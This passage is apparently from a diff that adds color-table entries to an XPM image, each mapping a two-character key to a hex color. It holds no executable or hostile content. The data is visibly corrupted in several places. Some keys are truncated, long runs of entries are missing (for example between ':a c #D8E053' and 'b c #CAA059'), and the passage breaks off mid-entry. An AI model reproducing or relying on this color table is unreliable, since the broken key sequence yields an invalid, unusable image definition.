+"{} c #BDBC74", +"]} c #989463", +"^} c #A8A473", +"/} c #A19B72", +"(} c #9F9967", +"_} c #99955A", +":} c #D6CF7C", +"<} c #F5EA95", +"[} c #F1E694", +"}} c #ECE193", +"|} c #E3D692", +"1} c #E9DF91", +"2} c #F6EE8E", +"3} c #EFE19A", +"4} c #DFD38B", +"5} c #605940", +"6} c #C9B499", +"7} c #FFEBC6", +"8} c #E8D6BB", +"9} c #E9D2AA", +"0} c #E4C696", +"a} c #594F37", +"b} c #4C452A", +"c} c #776A48", +"d} c #A6946C", +"e} c #FCF580", +"f} c #ECE080", +"g} c #B6A17E", +"h} c #B9A87C", +"i} c #9B8A7A", +"j} c #CCBF79", +"k} c #FFFF76", +"l} c #D7C975", +"m} c #AE9473", +"n} c #CBAD72", +"o} c #D6B370", +"p} c #DCB56E", +"q} c #D1A76C", +"r} c #D7B86B", +"s} c #FDF669", +"t} c #E5D468", +"u} c #C4A866", +"v} c #C7AD68", +"w} c #E6CC62", +"x} c #BB7322", +"y} c #652E11", +"z} c #441822", +"A} c #FFE252", +"B} c #FAFF61", +"C} c #F7FE5D", +"D} c #F9FE62", +"E} c #F8FF64", +"F} c #F3F965", +"G} c #EAEF67", +"H} c #DDE369", +"I} c #CFD46B", +"J} c #FCF46C", +"K} c #F0EC6E", +"L} c #BEC36F", +"M} c #C8CE71", +"N} c #DBDF72", +"O} c #E5EA74", +"P} c #EEF375", +"Q} c #F2F777", +"R} c #F4F978", +"S} c #F3F87B", +"T} c #E7EB7E", +"U} c #D2D680", +"V} c #E9EC8A", +"W} c #ACA85F", +"X} c #C4B5A9", +"Y} c #FFF5E2", +"Z} c #F5EDE1", +"`} c #FFFFEC", +" | c #C3B8A7", +".| c #282820", +"+| c #50533D", +"@| c #85885E", +"#| c #C6CA84", +"$| c #D7DC91", +"%| c #F2F090", +"&| c #E4E48F", +"*| c #E6EDA2", +"=| c #CDCE6F", +"-| c #7E7561", +";| c #F5EEEA", +">| c #C9BFB5", +",| c #36371F", +"'| c #61643E", +")| c #787953", +"!| c #B6B577", +"~| c #D4D591", +"{| c #F4F097", +"]| c #F0EC96", +"^| c #E5E394", +"/| c #F5F29B", +"(| c #FFFD9D", +"_| c #99995E", +":| c #7E7668", +"<| c #B7ACA2", +"[| c #CDC0B3", +"}| c #CEBEAD", +"|| c #BEAF9D", +"1| c #93897B", +"2| c #746D56", +"3| c #8A854D", +"4| c #DED483", +"5| c #E6DA8D", +"6| c #E7DC90", +"7| c #DFD190", +"8| c #F4ED8D", +"9| c #FCF297", +"0| c #E8D991", +"a| c #655E3F", +"b| c #B19F88", +"c| c #FFF1CB", +"d| c #E7D7BC", +"e| c #EAD8BD", +"f| c #E6D2B2", +"g| c #FFE4B2", +"h| c #B09974", +"i| c #332E1E", +"j| c #655B39", +"k| c #7D6E50", +"l| c #BBAB72", +"m| c #D0C17D", +"n| c #AD9C7B", +"o| c #9B8B7A", +"p| c #A79878", +"q| c #FBF677", +"r| c #F9F274", +"s| c #B09B73", +"t| c #BEA171", +"u| c #D4B370", +"v| c #DDB76E", +"w| c #E1B76C", +"x| c #DEB56B", +"y| c #C99F69", +"z| c #C9A667", +"A| c #E8D966", +"B| c #FDF864", +"C| c #FFFF67", +"D| c #FFFC60", +"E| c #AF6921", +"F| c #5F2A10", +"G| c #4C201D", +"H| c #FFE251", +"I| c #FAFF5F", +"J| c #F7FE5B", +"K| c #F8FF62", +"L| c #F4FB64", +"M| c #EEF465", +"N| c #E6EC67", +"O| c #DBE169", +"P| c #E6E66A", +"Q| c #D6D86C", +"R| c #D1D76D", +"S| c #E0E46F", +"T| c #E6EB70", +"U| c #EEF472", +"V| c #F4F973", +"W| c #F4F975", +"X| c #F4F976", +"Y| c #F1F777", +"Z| c #EEF479", +"`| c #EAEF7A", +" 1 c #E3E87B", +".1 c #DBDE7D", +"+1 c #D3D67E", +"@1 c #C6CD78", +"#1 c #7C7959", +"$1 c #E0CFC1", +"%1 c #F9EEDD", +"&1 c #F5EDE2", +"*1 c #FFFFF4", +"=1 c #ABA191", +"-1 c #222517", +";1 c #9D9D63", +">1 c #C9CD85", +",1 c #DBDD8F", +"'1 c #EAE88D", +")1 c #D6DB94", +"!1 c #EDEE87", +"~1 c #7F794C", +"{1 c #D4CCCF", +"]1 c #FFFFF9", +"^1 c #F1EAE1", +"/1 c #5B5845", +"(1 c #4D5129", +"_1 c #74744C", +":1 c #B3B16B", +"<1 c #E5E28C", +"[1 c #F3EF93", +"}1 c #DDDC92", +"|1 c #EAE792", +"11 c #FFFF9C", +"21 c #919058", +"31 c #897E7A", +"41 c #FFF4DE", +"51 c #FFF5D6", +"61 c #F4E3C5", +"71 c #FBEACA", +"81 c #FFFCD8", +"91 c #70655B", +"01 c #5C5932", +"a1 c #B7AF6E", +"b1 c #CBBF81", +"c1 c #EDE48B", +"d1 c #FFFC95", +"e1 c #EBDD8F", +"f1 c #6D6643", +"g1 c #A89681", +"h1 c #FFF0CC", +"i1 c #E9D8BD", +"j1 c #EDDCC3", +"k1 c #EAD7BB", +"l1 c #E6D1AD", +"m1 c #FFE1AB", +"n1 c #6D5F46", +"o1 c #332F1B", +"p1 c #6F6340", +"q1 c #85745C", +"r1 c #DACE78", +"s1 c #FFFF7E", +"t1 c #B3A57A", +"u1 c #9D9078", +"v1 c #EFE976", +"w1 c #FFFF73", +"x1 c #C0AE72", +"y1 c #B09470", +"z1 c #D1B16F", +"A1 c #DCB66D", +"B1 c #E3BA6C", +"C1 c #E5B96A", +"D1 c #E2B769", +"E1 c #D9B067", +"F1 c #C69D66", +"G1 c #B28764", +"H1 c #C6A962", +"I1 c #FFFF65", +"J1 c #EED95E", +"K1 c #9E5420", +"L1 c #633010", +"M1 c #A24800", +"N1 c #CC671F", +"O1 c #FFE250", +"P1 c #F8FF5D", +"Q1 c #F7FE59", +"R1 c #F7FE5E", +"S1 c #F7FF60", +"T1 c #F5FC61", +"U1 c #F1F763", +"V1 c #EDF365", +"W1 c #E8EE67", +"X1 c #DDE468", +"Y1 c #DFE56A", +"Z1 c #E7EC6B", +"`1 c #EBF06C", +" 2 c #EEF46E", +".2 c #F1F76F", +"+2 c #F2F871", +"@2 c #F0F672", +"#2 c #EDF274", +"$2 c #E9EE75", +"%2 c #E6EA76", +"&2 c #E1E678", +"*2 c #D8DE79", +"=2 c #CDD27A", +"-2 c #CFD381", +";2 c #9DA560", +">2 c #88816A", +",2 c #FFF1DD", +"'2 c #F4EADA", +")2 c #F5ECE1", +"!2 c #7C7564", +"~2 c #393914", +"{2 c #7B7946", +"]2 c #B7B469", +"^2 c #EBE886", +"/2 c #FEFC8C", +"(2 c #E2E28A", +"_2 c #E2E997", +":2 c #92904A", +"<2 c #ABA0A0", +"[2 c #FFFFFB", +"}2 c #A49B8E", +"|2 c #353915", +"12 c #707146", +"22 c #9D9A5A", +"32 c #D1D080", +"42 c #D7D891", +"52 c #EFEC91", +"62 c #F5F08F", +"72 c #DFDD8E", +"82 c #AAAA60", +"92 c #807770", +"02 c #F1E1C5", +"a2 c #F0E1C6", +"b2 c #FFFFE7", +"c2 c #EDDEC4", +"d2 c #E8D9BE", +"e2 c #F8E7C6", +"f2 c #FFF7D5", +"g2 c #62584C", +"h2 c #4A4728", +"i2 c #B2AA68", +"j2 c #F2EA87", +"k2 c #F0E38C", +"l2 c #716844", +"m2 c #9F9180", +"n2 c #FFF3D0", +"o2 c #EDDDC4", +"p2 c #EDDDC5", +"q2 c #E4D1B3", +"r2 c #FFE9B7", +"s2 c #B8A17A", +"t2 c #2C2819", +"u2 c #615634", +"v2 c #756849", +"w2 c #948569", +"x2 c #FDF77B", +"y2 c #807578", +"z2 c #8C8077", +"A2 c #EBE575", +"B2 c #FFFF74", +"C2 c #CBBB72", +"D2 c #A78E70", +"E2 c #CAAB6E", +"F2 c #D9B46D", +"G2 c #E2B96B", +"H2 c #E8BB6A", +"I2 c #E8BA68", +"J2 c #E5B766", +"K2 c #DDB065", +"L2 c #D1A864", +"M2 c #C59E62", +"N2 c #AA8160", +"O2 c #F2E763", +"P2 c #EFD95C", +"Q2 c #9B5020", +"R2 c #643210", +"S2 c #FFE24F", +"T2 c #F8FF5C", +"U2 c #F6FE58", +"V2 c #F7FE5A", +"W2 c #F7FE5C", +"X2 c #F5FE60", +"Y2 c #F3FB61", +"Z2 c #F1F863", +"`2 c #EFF664", +" 3 c #EDF366", +".3 c #EDF368", +"+3 c #EEF569", +"@3 c #F0F66B", +"#3 c #F0F66C", +"$3 c #EFF56E", +"%3 c #ECF26F", +"&3 c #E8EE71", +"*3 c #E4E971", +"=3 c #DDE273", +"-3 c #D2D975", +";3 c #D0D676", +">3 c #D5D977", +",3 c #DADC78", +"'3 c #EDEF83", +")3 c #ABAB55", +"!3 c #AA9E8D", +"~3 c #F5EDE3", +"{3 c #FBF1E1", +"]3 c #FBEDDA", +"^3 c #524F41", +"/3 c #3D4020", +"(3 c #717349", +"_3 c #AAAE6E", +":3 c #D8DB86", +"<3 c #ECEC88", +"[3 c #FFFF97", +"}3 c #BDBD63", +"|3 c #847D72", +"13 c #FFFDF4", +"23 c #FFFBE8", +"33 c #EAE1D7", +"43 c #4F4E37", +"53 c #5A5D2F", +"63 c #82804B", +"73 c #BEBB70", +"83 c #D2D38A", +"93 c #DADA8F", +"03 c #EAE78D", +"a3 c #EFEB8D", +"b3 c #E3E18E", +"c3 c #EBEA88", +"d3 c #847F5F", +"e3 c #E3D2C7", +"f3 c #F9ECCF", +"g3 c #F2E6CC", +"h3 c #FBEED7", +"i3 c #A1988C", +"j3 c #C0B6AA", +"k3 c #FFF6E2", +"l3 c #F0E1CB", +"m3 c #FFF1D2", +"n3 c #E2CFB8", +"o3 c #3D3A27", +"p3 c #898544", +"q3 c #ADA35F", +"r3 c #67603E", +"s3 c #A39787", +"t3 c #FFF5D5", +"u3 c #EDDDC3", +"v3 c #ECDDC6", +"w3 c #EEDEC7", +"x3 c #ECDCC3", +"y3 c #E7D5B9", +"z3 c #F5DEB4", +"A3 c #F4D8A5", +"B3 c #4E4633", +"C3 c #3F3A20", +"D3 c #6F6441", +"E3 c #7C6D5B", +"F3 c #CCC173", +"G3 c #948A78", +"H3 c #897F76", +"I3 c #E9E475", +"J3 c #FFFF72", +"K3 c #D3C670", +"L3 c #A38A6F", +"M3 c #C4A66E", +"N3 c #D6B36C", +"O3 c #E1B86B", +"P3 c #E7BB69", +"Q3 c #EABB68", +"R3 c #EABB66", +"S3 c #E8B865", +"T3 c #E0B164", +"U3 c #D5A961", +"V3 c #CAA160", +"W3 c #B2875E", +"X3 c #E5D561", +"Y3 c #F2DE5B", +"Z3 c #A05421", +"`3 c #643110", +" 4 c #FFE24D", +".4 c #F8FF5A", +"+4 c #F6FE56", +"@4 c #F6FE59", +"#4 c #F6FD60", +"$4 c #F4FB63", +"%4 c #F3FA64", +"&4 c #F3FA66", +"*4 c #F0F769", +"=4 c #EDF46A", +"-4 c #E9F06B", +";4 c #E5EA6D", +">4 c #DCE26E", +",4 c #D0D770", +"'4 c #D3D871", +")4 c #E5E572", +"!4 c #F2EF74", +"~4 c #FEF775", +"{4 c #FEF776", +"]4 c #9B964A", +"^4 c #B1A4A0", +"/4 c #FFF8E3", +"(4 c #F5EBDD", +"_4 c #F6EEE1", +":4 c #F6EEE2", +"<4 c #F6EDE1", +"[4 c #FFF9E7", +"}4 c #E3D6C7", +"|4 c #444431", +"14 c #4D502C", +"24 c #81844F", +"34 c #BFC473", +"44 c #D8DE86", +"54 c #D3DA8A", +"64 c #E7EB80", +"74 c #888250", +"84 c #DBD2D1", +"94 c #FFFAE4", +"04 c #FFFFFA", +"a4 c #90887C", +"b4 c #333611", +"c4 c #6E7043", +"d4 c #A6A45D", +"e4 c #D6D47F", +"f4 c #D9D98C", +"g4 c #DDDB8B", +"h4 c #DDDA8A", +"i4 c #DEDB8A", +"j4 c #F8F595", +"k4 c #A8A65E", +"l4 c #A19889", +"m4 c #FFFFE6", +"n4 c #EBDBC1", +"o4 c #968E80", +"p4 c #141400", +"q4 c #2F2D17", +"r4 c #C1BAAF", +"s4 c #FEFBEC", +"t4 c #8D8472", +"u4 c #171600", +"v4 c #46412B", +"w4 c #B4AB9E", +"x4 c #FFFBE0", +"y4 c #EFE0C8", +"z4 c #ECDEC8", +"A4 c #EDDDC6", +"B4 c #E8D7BC", +"C4 c #F2DCB7", +"D4 c #FFE9B6", +"E4 c #6A5D48", +"F4 c #2C2814", +"G4 c #6C613C", +"H4 c #776A50", +"I4 c #A1946B", +"J4 c #D5CE78", +"K4 c #A19875", +"L4 c #FAF673", +"M4 c #FFFF71", +"N4 c #D6CA70", +"O4 c #A58D6F", +"P4 c #C1A46D", +"Q4 c #D3B16C", +"R4 c #DFB76A", +"S4 c #E6BB69", +"T4 c #EABC67", +"U4 c #EBBB66", +"V4 c #EBBB65", +"W4 c #EAB863", +"X4 c #E3B162", +"Y4 c #D7A960", +"Z4 c #CDA25E", +"`4 c #B6895D", +" 5 c #E7D65F", +".5 c #F4E059", +"+5 c #A55721", +"@5 c #663211", +"#5 c #FFE24C", +"$5 c #F8FF57", +"%5 c #F6FE54", +"&5 c #F6FE57", +"*5 c #F6FE5B", +"=5 c #F6FE5E", +"-5 c #F6FE61", +";5 c #F4FC62", +">5 c #F0F665", +",5 c #EBF267", +"'5 c #E7ED68", +")5 c #E0E669", +"!5 c #D3DA6B", +"~5 c #D0D66C", +"{5 c #E8E76D", +"]5 c #FCF86F", +"^5 c #FFF870", +"/5 c #EEEB71", +"(5 c #DFE072", +"_5 c #D4D774", +":5 c #CFD66D", +"<5 c #85825A", +"[5 c #DFCDC1", +"}5 c #F9EDDB", +"|5 c #F6EFE2", +"15 c #BDB2A3", +"25 c #36371B", +"35 c #666937", +"45 c #979B55", +"55 c #D3D777", +"65 c #E4EB82", +"75 c #FDFF92", +"85 c #828849", +"95 c #9D9294", +"05 c #FFFFF2", +"a5 c #FDF8E5", +"b5 c #E3D7CB", +"c5 c #424128", +"d5 c #5C5E2E", +"e5 c #7D7F4C", +"f5 c #C7C570", +"g5 c #EEEA86", +"h5 c #D7D789", +"i5 c #DBD988", +"j5 c #DCDA88", +"k5 c #E0DD87", +"l5 c #FFFB95", +"m5 c #8E8C55", +"n5 c #A99E96", +"o5 c #FFFADD", +"p5 c #FCF3D9", +"q5 c #D1C5B7", +"r5 c #363521", +"s5 c #636033", +"t5 c #635F29", +"u5 c #8C856E", +"v5 c #FFFEF4", +"w5 c #F4E9DA", +"x5 c #FFFAE7", +"y5 c #D7CCBB", +"z5 c #48443D", +"A5 c #CCC0B3", +"B5 c #EFE1CC", +"C5 c #EEDFCC", +"D5 c #EDDEC6", +"E5 c #E7D7BD", +"F5 c #F5E0BB", +"G5 c #FFE8B7", +"H5 c #756750", +"I5 c #292512", +"J5 c #675C36", +"K5 c #7F724C", +"L5 c #8B7B65", +"M5 c #DDD375", +"N5 c #EAE175", +"O5 c #F7F070", +"P5 c #CDBF6F", +"Q5 c #A48C6E", +"R5 c #C1A46C", +"S5 c #D4B26B", +"T5 c #DDB66A", +"U5 c #E5BA68", +"V5 c #E9BC67", +"W5 c #EABC66", +"X5 c #EBBB64", +"Y5 c #EBB962", +"Z5 c #E9B661", +"`5 c #E2B15F", +" 6 c #D8AA5E", +".6 c #CEA25C", +"+6 c #B8885A", +"@6 c #EFE05D", +"#6 c #EFD657", +"$6 c #AA5823", +"%6 c #693412", +"&6 c #FFE24B", +"*6 c #F7FF55", +"=6 c #F6FE52", +"-6 c #F6FE55", +";6 c #F6FE5A", +">6 c #F6FE5C", +",6 c #F6FE5D", +"'6 c #F5FD5E", +")6 c #F2FA60", +"!6 c #EEF562", +"~6 c #E8F063", +"{6 c #E3EA65", +"]6 c #D9E066", +"^6 c #CBD467", +"/6 c #DDE068", +"(6 c #FAF56A", +"_6 c #FAF56B", +":6 c #E5E66C", +"<6 c #D2D66E", +"[6 c #CBD26F", +"}6 c #CFD670", +"|6 c #DDE576", +"16 c #B4BD55", +"26 c #9F9776", +"36 c #FFF2DF", +"46 c #F1E7D7", +"56 c #F5ECE0", +"66 c #F4ECDE", +"76 c #8A8376", +"86 c #2B2F0B", +"96 c #767A3F", +"06 c #ACB15B", +"a6 c #E1E878", +"b6 c #FDFF8E", +"c6 c #C3CB5F", +"d6 c #7A7464", +"e6 c #FCF4EB", +"f6 c #F7EBD4", +"g6 c #857F71", +"h6 c #31340E", +"i6 c #737442", +"j6 c #A1A25D", +"k6 c #D5D57C", +"l6 c #FBF686", +"m6 c #EDE886", +"n6 c #DAD784", +"o6 c #D9D685", +"p6 c #DAD785", +"q6 c #F8F390", +"r6 c #8D8A56", +"s6 c #AFA399", +"t6 c #FFF5D9", +"u6 c #FFFFEB", +"v6 c #948C81", +"w6 c #212108", +"x6 c #807B4A", +"y6 c #827D39", +"z6 c #928B70", +"A6 c #FFFBF6", +"B6 c #F6EDDF", +"C6 c #F4E9DC", +"D6 c #FFF7E8", +"E6 c #FFFCEB", +"F6 c #EFE2D1", +"G6 c #F0E3D1", +"H6 c #EFE1CD", +"I6 c #FAE5BF", +"J6 c #FFE6B7", +"K6 c #6E624C", +"L6 c #26230F", +"M6 c #675B34", +"N6 c #87794B", +"O6 c #958263", +"P6 c #BEAF73", +"Q6 c #FFFB74", +"R6 c #E3DC6F", +"S6 c #B4A46E", +"T6 c #A9906D", +"U6 c #C4A76B", +"V6 c #D5B46A", +"W6 c #DEB769", +"X6 c #E5BA67", +"Y6 c #E9BD66", +"Z6 c #EABD64", +"`6 c #EBBA63", +" 7 c #EBBA62", +".7 c #EAB760", +"+7 c #E7B35F", +"@7 c #DFAE5D", +"#7 c #D5A75C", +"$7 c #C89A5A", +"%7 c #BF9359", +"&7 c #FBF35A", +"*7 c #DEB956", +"=7 c #B15D23", +"-7 c #6C3613", +";7 c #FFE249", +">7 c #F7FF53", +",7 c #F5FE51", +"'7 c #F5FE59", +")7 c #F3FC5B", +"!7 c #F1F95D", +"~7 c #ECF45E", +"{7 c #E6ED60", +"]7 c #E0E661", +"^7 c #D1DA63", +"/7 c #CCD364", +"(7 c #EDEB65", +"_7 c #FFFA67", +":7 c #E7E768", +"<7 c #CDD369", +"[7 c #CCD46A", +"}7 c #D6DD6B", +"|7 c #DDE36D", +"17 c #E0E66E", +"27 c #FCFF7B", +"37 c #99A044", +"47 c #998D81", +"57 c #F3E9DA", +"67 c #F6EDE0", +"77 c #FFFDEB", +"87 c #726D5B", +"97 c #3B4111", +"07 c #808440", +"a7 c #BFC561", +"b7 c #F1F87B", +"c7 c #FFFF82", +"d7 c #7E7F46", +"e7 c #C6B7B9", +"f7 c #DACFC2", +"g7 c #3B3B24", +"h7 c #5B5C2C", +"i7 c #838349", +"j7 c #C3C36D", +"k7 c #E2E181", +"l7 c #E9E683", +"m7 c #F8F182", +"n7 c #F2EE82", +"o7 c #F0EB82", +"p7 c #ECE883", +"q7 c #A39F53", +"r7 c #A3988F", +"s7 c #FFFCDF", +"t7 c #FDF5D9", +"u7 c #CCC2B4", +"v7 c #292814", +"w7 c #424011", +"x7 c #484421", +"y7 c #BDB9B2", +"z7 c #FFFEFA", +"A7 c #F9F0E3", +"B7 c #FCF2E5", +"C7 c #F3E8DA", +"D7 c #F2E6D6", +"E7 c #EEE0C9", +"F7 c #E8D7BD", +"G7 c #FFEBC3", +"H7 c #FBE3B5", +"I7 c #625744", +"J7 c #28240E", +"K7 c #6D6136", +"L7 c #8D7D4B", +"M7 c #A38E62", +"N7 c #B9A572", +"O7 c #FEF974", +"P7 c #F2EF6F", +"Q7 c #C7BC6E", +"R7 c #A08D6D", +"S7 c #AB926C", +"T7 c #CAAC6B", +"U7 c #D7B56A", +"V7 c #DFB868", +"W7 c #E5BB67", +"X7 c #E9BC66", +"Y7 c #EBBD64", +"Z7 c #EBBB63", +"`7 c #EBB961", +" 8 c #EAB860", +".8 c #E7B55E", +"+8 c #E2B05D", +"@8 c #D9A95C", +"#8 c #D0A35A", +"$8 c #B88659", +"%8 c #DBBF57", +"&8 c #FFF959", +"*8 c #C59154", +"=8 c #BC6A24", +"-8 c #6F3713", +";8 c #4F211E", +">8 c #CC6720", +",8 c #FFE248", +"'8 c #F7FF51", +")8 c #F5FE4F", +"!8 c #F5FE50", +"~8 c #F6FE53", +"{8 c #F5FE56", +"]8 c #F3FC58", +"^8 c #F0F959", +"/8 c #EBF25B", +"(8 c #E4EC5C", +"_8 c #DCE25E", +":8 c #CBD35F", +"<8 c #D3D761", +"[8 c #F9F462", +"}8 c #FBF563", +"|8 c #D5DA65", +"18 c #CBD365", +"28 c #D7DE67", +"38 c #DFE568", +"48 c #E3E969", +"58 c #E6ED6B", +"68 c #989B48", +"78 c #B5A49E", +"88 c #FFF7E0", +"98 c #FBEFE0", +"08 c #F5E6D8", +"a8 c #636044", +"b8 c #52581C", +"c8 c #8B9044", +"d8 c #CDD265", +"e8 c #B9C04D", +"f8 c #8D847D", +"g8 c #F0E1CA", +"h8 c #837D6F", +"i8 c #2A2D09", +"j8 c #71713F", +"k8 c #A1A158", +"l8 c #DDDC78", +"m8 c #EFEC82", +"n8 c #E5E380", +"o8 c #E2DE7F", +"p8 c #E8E580", +"q8 c #F0EA80", +"r8 c #EFEA80", +"s8 c #F2EE87", +"t8 c #BBB75F", +"u8 c #9C937F", +"v8 c #A29A89", +"w8 c #645F53", +"x8 c #B9B2AC", +"y8 c #FFFCF5", +"z8 c #F7EEE2", +"A8 c #F7EFE4", +"B8 c #F7EFE5", +"C8 c #F7EEE3", +"D8 c #F1E5D5", +"E8 c #FFF3CA", +"F8 c #EAD4AA", +"G8 c #4F4636", +"H8 c #2D2911", +"I8 c #74673A", +"J8 c #92814D", +"K8 c #AA9463", +"L8 c #C5AE71", +"M8 c #FFF973", +"N8 c #E9E26F", +"O8 c #CDC16E", +"P8 c #AD9A6D", +"Q8 c #A58D6C", +"R8 c #BFA36B", +"S8 c #D0B16A", +"T8 c #D9B769", +"U8 c #E2BA67", +"V8 c #E7BC66", +"W8 c #EABD65", +"X8 c #ECBD64", +"Y8 c #EBBC62", +"Z8 c #E9B85F", +"`8 c #E7B45E", +" 9 c #E2B05C", +".9 c #DAAA5B", +"+9 c #D1A459", +"@9 c #C19458", +"#9 c #B88B57", +"$9 c #FFFC55", +"%9 c #E1CA57", +"&9 c #BF8353", +"*9 c #C57225", +"=9 c #723914", +"-9 c #FFE247", +";9 c #F6FF4F", +">9 c #F5FE4D", +",9 c #F5FE4E", +"'9 c #F5FE53", +")9 c #F3FD54", +"!9 c #F0F956", +"~9 c #EBF357", +"{9 c #E3EA59", +"]9 c #D9E05A", +"^9 c #C7D05C", +"/9 c #DADC5D", +"(9 c #FFFB5E", +"_9 c #EFEC60", +":9 c #CBD161", +"<9 c #CFD763", +"[9 c #DDE464", +"}9 c #E3E965", +"|9 c #E8EF66", +"19 c #EDF367", +"29 c #F0F768", +"39 c #F3FB6A", +"49 c #F9FF61", +"59 c #A7A55E", +"69 c #DCC9C3", +"79 c #F7EAD7", +"89 c #FFF8E5", +"99 c #DED1C4", +"09 c #51512E", +"a9 c #646928", +"b9 c #989D4A", +"c9 c #DFE56D", +"d9 c #F6FB6E", +"e9 c #848351", +"f9 c #DDCFCE", +"g9 c #F9F0D8", +"h9 c #FEFAE2", +"i9 c #DFD2C3", +"j9 c #403E24", +"k9 c #5A5B2A", +"l9 c #7E7E45", +"m9 c #C1C067", +"n9 c #ECEA7D", +"o9 c #F2EE7F", +"p9 c #ECE97D", +"q9 c #E7E47D", +"r9 c #E3DE7D", +"s9 c #DED97E", +"t9 c #DBD57E", +"u9 c #DCD57E", +"v9 c #EAE37F", +"w9 c #7C774F", +"x9 c #CFBEB6", +"y9 c #FFF6D5", +"z9 c #EBDDC2", +"A9 c #FFF8E2", +"B9 c #F6ECDE", +"C9 c #F7F0E6", +"D9 c #F3E7D7", +"E9 c #EEE0CD", +"F9 c #F6E5CA", +"G9 c #FFFAD0", +"H9 c #C6B391", +"I9 c #393324", +"J9 c #322D14", +"K9 c #786B3E", +"L9 c #8E7D50", +"M9 c #AD9664", +"N9 c #DAC870", +"O9 c #F8ED72", +"P9 c #DED170", +"Q9 c #C1AD6E", +"R9 c #B09A6D", +"S9 c #AA926C", +"T9 c #BAA16B", +"U9 c #CAAE6A", +"V9 c #D2B269", +"W9 c #DBB868", +"X9 c #E2BB66", +"Y9 c #E7BC65", +"Z9 c #E9BC64", +"`9 c #EABC63", +" 0 c #E9BB62", +".0 c #E8B960", +"+0 c #E6B55F", +"@0 c #E3B35D", +"#0 c #DEAE5C", +"$0 c #D8A95B", +"%0 c #D0A459", +"&0 c #C49957", +"*0 c #AE7C56", +"=0 c #E9D655", +"-0 c #FCF353", +";0 c #B98B55", +">0 c #CF9651", +",0 c #CC7526", +"'0 c #753B15", +")0 c #FFE246", +"!0 c #F6FF4D", +"~0 c #F4FE4B", +"{0 c #F3FD51", +"]0 c #F0F952", +"^0 c #EAF354", +"/0 c #E2EA55", +"(0 c #D7DE57", +"_0 c #C2CC58", +":0 c #E1E15A", +"<0 c #FFFE5B", +"[0 c #DEDF5C", +"}0 c #C5CE5D", +"|0 c #D4DC5F", +"10 c #E1E760", +"20 c #E6EE62", +"30 c #ECF362", +"40 c #F0F864", +"50 c #F3FB65", +"60 c #F5FD66", +"70 c #FCFF6A", +"80 c #E2EF51", +"90 c #A69F6E", +"00 c #F5E0D6", +"a0 c #FFFFF0", +"b0 c #B9AFA0", +"c0 c #3C3F15", +"d0 c #737733", +"e0 c #A5A94E", +"f0 c #B4BB4A", +"g0 c #9F9490", +"h0 c #817B6C", +"i0 c #343509", +"j0 c #706F3C", +"k0 c #9D9C54", +"l0 c #DAD772", +"m0 c #F2EE7C", +"n0 c #F1EE7B", +"o0 c #EEEB7A", +"p0 c #EAE67B", +"q0 c #E7E17B", +"r0 c #E3DD7B", +"s0 c #E0DA7B", +"t0 c #DED67A", +"u0 c #EFE685", +"v0 c #B8B260", +"w0 c #686053", +"x0 c #EADCCC", +"y0 c #FFFFDC", +"z0 c #F2E3C8", +"A0 c #F1E4CF", +"B0 c #F2E6D7", +"C0 c #F6EDE2", +"D0 c #F1E3D1", +"E0 c #FFFBDC", +"F0 c #FFECC7", +"G0 c #887C63", +"H0 c #242113", +"I0 c #403A1F", +"J0 c #746844", +"K0 c #847354", +"L0 c #B9A767", +"M0 c #F0E470", +"N0 c #F4E971", +"O0 c #C8B66E", +"P0 c #AD956D", +"Q0 c #B39C6C", +"R0 c #BCA46B", +"S0 c #C3A96A", +"T0 c #C9AD68", +"U0 c #CFB067", +"V0 c #D5B466", +"W0 c #DBB765", +"X0 c #E0B864", +"Y0 c #E1B763", +"Z0 c #E2B761", +"`0 c #E1B560", +" a c #DFB45F", +".a c #DDB05E", +"+a c #DAAD5D", +"@a c #D6AA5B", +"#a c #D2A65A", +"$a c #CDA258", +"%a c #BF9257", +"&a c #AE7D56", +"*a c #DAC254", +"=a c #FFFF52", +"-a c #C7A051", +";a c #BC8952", +">a c #D89E4F", +",a c #D37927", +"'a c #783D16", +")a c #FFE144", +"!a c #F6FF4B", +"~a c #F4FE49", +"{a c #F4FF4B", +"]a c #F4FE4C", +"^a c #F4FE4D", +"/a c #F1FA4F", +"(a c #EBF450", +"_a c #E2EA52", +":a c #D8E053", +"b c #CAA059", +",b c #C29758", +"'b c #B28256", +")b c #B58955", +"!b c #E7D753", +"~b c #D6B851", +"{b c #B67F4F", +"]b c #CE9C50", +"^b c #DD9F4E", +"/b c #D97C28", +"(b c #7B3E16", +"_b c #FFDF43", +":b c #F5FF49", +"c c #CAA25D", +",c c #C79F5C", +"'c c #C49B5B", +")c c #BD935A", +"!c c #B68B58", +"~c c #B48957", +"{c c #BB9356", +"]c c #D4BB54", +"^c c #FAF553", +"/c c #F9F352", +"(c c #CAA750", +"_c c #B5804F", +":c c #CB974D", +"d c #EDE367", +",d c #EBE066", +"'d c #E3D965", +")d c #DED264", +"!d c #CCBE63", +"~d c #CAB962", +"{d c #C8B561", +"]d c #C7B060", +"^d c #CCB25F", +"/d c #C8AB5D", +"(d c #C5A45C", +"_d c #C3A05B", +":d c #C5A35A", +"e c #9A934D", +",e c #DED566", +"'e c #FFFF6B", +")e c #FFFF69", +"!e c #FDF668", +"~e c #F3EB67", +"{e c #F8F066", +"]e c #FFF865", +"^e c #FFFF64", +"/e c #FFFF63", +"(e c #FFFF62", +"_e c #FFFE61", +":e c #FFFF5F", +"f c #F1E3D2", +",f c #FFFBE1", +"'f c #A0947D", +")f c #272210", +"!f c #574D33", +"~f c #6C5F4F", +"{f c #C9BE66", +"]f c #F5F46A", +"^f c #D5CD67", +"/f c #B2A666", +"(f c #9E8F66", +"_f c #A08D65", +":f c #A59264", +"g c #DFD36C", +",g c #DED16C", +"'g c #D4C56B", +")g c #D3C46B", +"!g c #F0E76B", +"~g c #FAF36B", +"{g c #F4EA73", +"]g c #8C8143", +"^g c #A5998F", +"/g c #F1E4D3", +"(g c #FFF9DF", +"_g c #A0937B", +":g c #2D280F", +"h c #F0E969", +",h c #E7E068", +"'h c #BCB668", +")h c #CEC768", +"!h c #F7EF69", +"~h c #E0D769", +"{h c #D5CB69", +"]h c #E1D569", +"^h c #E2D569", +"/h c #E4D669", +"(h c #DED069", +"_h c #D2C269", +":h c #DDD069", +"i c #C5B4A1", +",i c #2F2E10", +"'i c #646227", +")i c #88843C", +"!i c #C1BB58", +"~i c #CEC865", +"{i c #DBD466", +"]i c #EAE265", +"^i c #B7B065", +"/i c #EBE366", +"(i c #E4DC66", +"_i c #CCC366", +":i c #E0D466", +"j c #FFFAE9", +",j c #D5C8C2", +"'j c #3C3921", +")j c #57570C", +"!j c #615D3E", +"~j c #EEDED0", +"{j c 